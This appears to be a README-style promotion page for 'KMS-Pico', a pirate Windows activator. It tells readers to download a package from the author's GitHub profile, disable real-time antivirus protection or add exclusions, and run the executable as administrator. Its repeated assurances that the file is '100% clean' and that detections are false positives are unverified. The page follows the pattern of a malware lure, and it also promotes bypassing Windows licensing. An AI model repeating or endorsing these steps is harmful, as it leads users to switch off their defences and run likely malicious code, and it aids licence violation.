KMS-Pico is a completely free, portable activator for Windows 10 and Windows 11.
It requires no installation and leaves no traces in the registry — it just works.
After a clean installation of Windows 10 or 11, the system runs in trial mode for 30 days without activation. Without activation:
- ❌ You cannot change personalization (wallpaper, theme, colors)
- ❌ A "Activate Windows" watermark appears
- ❌ Some security features and updates are restricted
KMS-Pico solves these problems in 10–30 seconds — completely free and without contacting Microsoft servers.
| Advantage | Description |
|---|---|
| 💰 Completely Free | No subscriptions, licenses, or hidden fees |
| 📦 Portable Version | No installation required — run from USB or any folder |
| 🧹 Leaves No Traces | Nothing written to registry (except activation) |
| ⚡ Instant Activation | Activation takes 10–30 seconds |
| 🛡️ Safe & Secure | No viruses, trojans, miners, or keyloggers |
| 🔄 Works Offline | Internet only needed for download |
| ♾️ Permanent Activation | No need to reactivate after reboot |
- 🧑💻 IT Technicians — for quick PC setup for clients
- 🎓 Students & Pupils — who don't have a budget for a license
- 🏢 Small Business — for test benches and temporary PCs
- 🕹️ Gamers — so nothing distracts from gaming
- 🔧 Enthusiasts — who reinstall Windows more than once a year
Millions of users worldwide have trusted this solution since 2015.
- Click the link "VISIT MY PROFILE FOR DOWNLOAD" below
- Go to my GitHub profile and download the latest package:
kms-pico - Unpack the archive using WinRAR or 7-Zip (Right-click → "Extract Here")
- Package size ≈ 37.7 MB
⚠️ Antivirus software may falsely flag activators (known false positive)
- Turn off Real-time protection temporarily
- The activator contains no malware, no spyware, no keyloggers
- 100% clean — used by millions
📌 Why does antivirus flag it? (click to learn more)
Antivirus programs often mark activators as "Potentially Unwanted Programs" (PUP) or "HackTool" because the software modifies system files — this is how any activator works.
Important: KMS-Pico contains no viruses, trojans, or spyware. Millions of users confirm its safety. You can temporarily disable your antivirus for 5 minutes — after activation and reboot, you can turn it back on.
- Right-click the executable file
- Choose "Run as Administrator"
- Follow the setup wizard to complete installation
- Press "Activate Windows 10/11"
- Wait 10–30 seconds
- Restart your PC to finalize activation
- Check:
Settings → System → Activation
🔍 What happens during activation? (technical details)
The program creates a local KMS (Key Management Service) emulator, which sends a signal to your PC that activation was successful. Windows "thinks" it's on a corporate network and has received a license from an official server.
No data is sent to Microsoft — everything works locally and offline.
| Feature | KMS-Pico (Free) | Microsoft License ($150+) |
|---|---|---|
| Personalization | ✅ Full | ✅ Full |
| Security Updates | ✅ All | ✅ All |
| Watermark | ❌ Removed | ❌ Removed |
| Price | $0 | $150–300 |
| Multiple PCs | ✅ Yes (on same hardware) | ❌ One PC only |
📌 Is this legal?
For personal use — it's a gray area. Microsoft does not actively pursue individual users, but technically activation without a license violates the terms of use.
📌 Do I need to reactivate after Windows updates?
No. Activation persists even after major updates (22H2, 23H2, 24H2).
📌 Does it work on Windows 11?
Yes, fully. Tested on 21H2, 22H2, 23H2, and 24H2. Also works on Windows 7, 8, 8.1, and 10.
📌 Antivirus deleted the file. What should I do?
Add the folder with the activator to your antivirus exclusions before extracting, or temporarily disable protection for 5 minutes.
- Windows 7 / 8 / 8.1 / 10 / 11 (x86 & x64)
- RAM: 2 GB (minimum)
- Free Space: 50 MB
- Internet connection (only for download)
- Press
Win + I - Go to
System→Activation - You should see:
"Windows is activated with a digital license"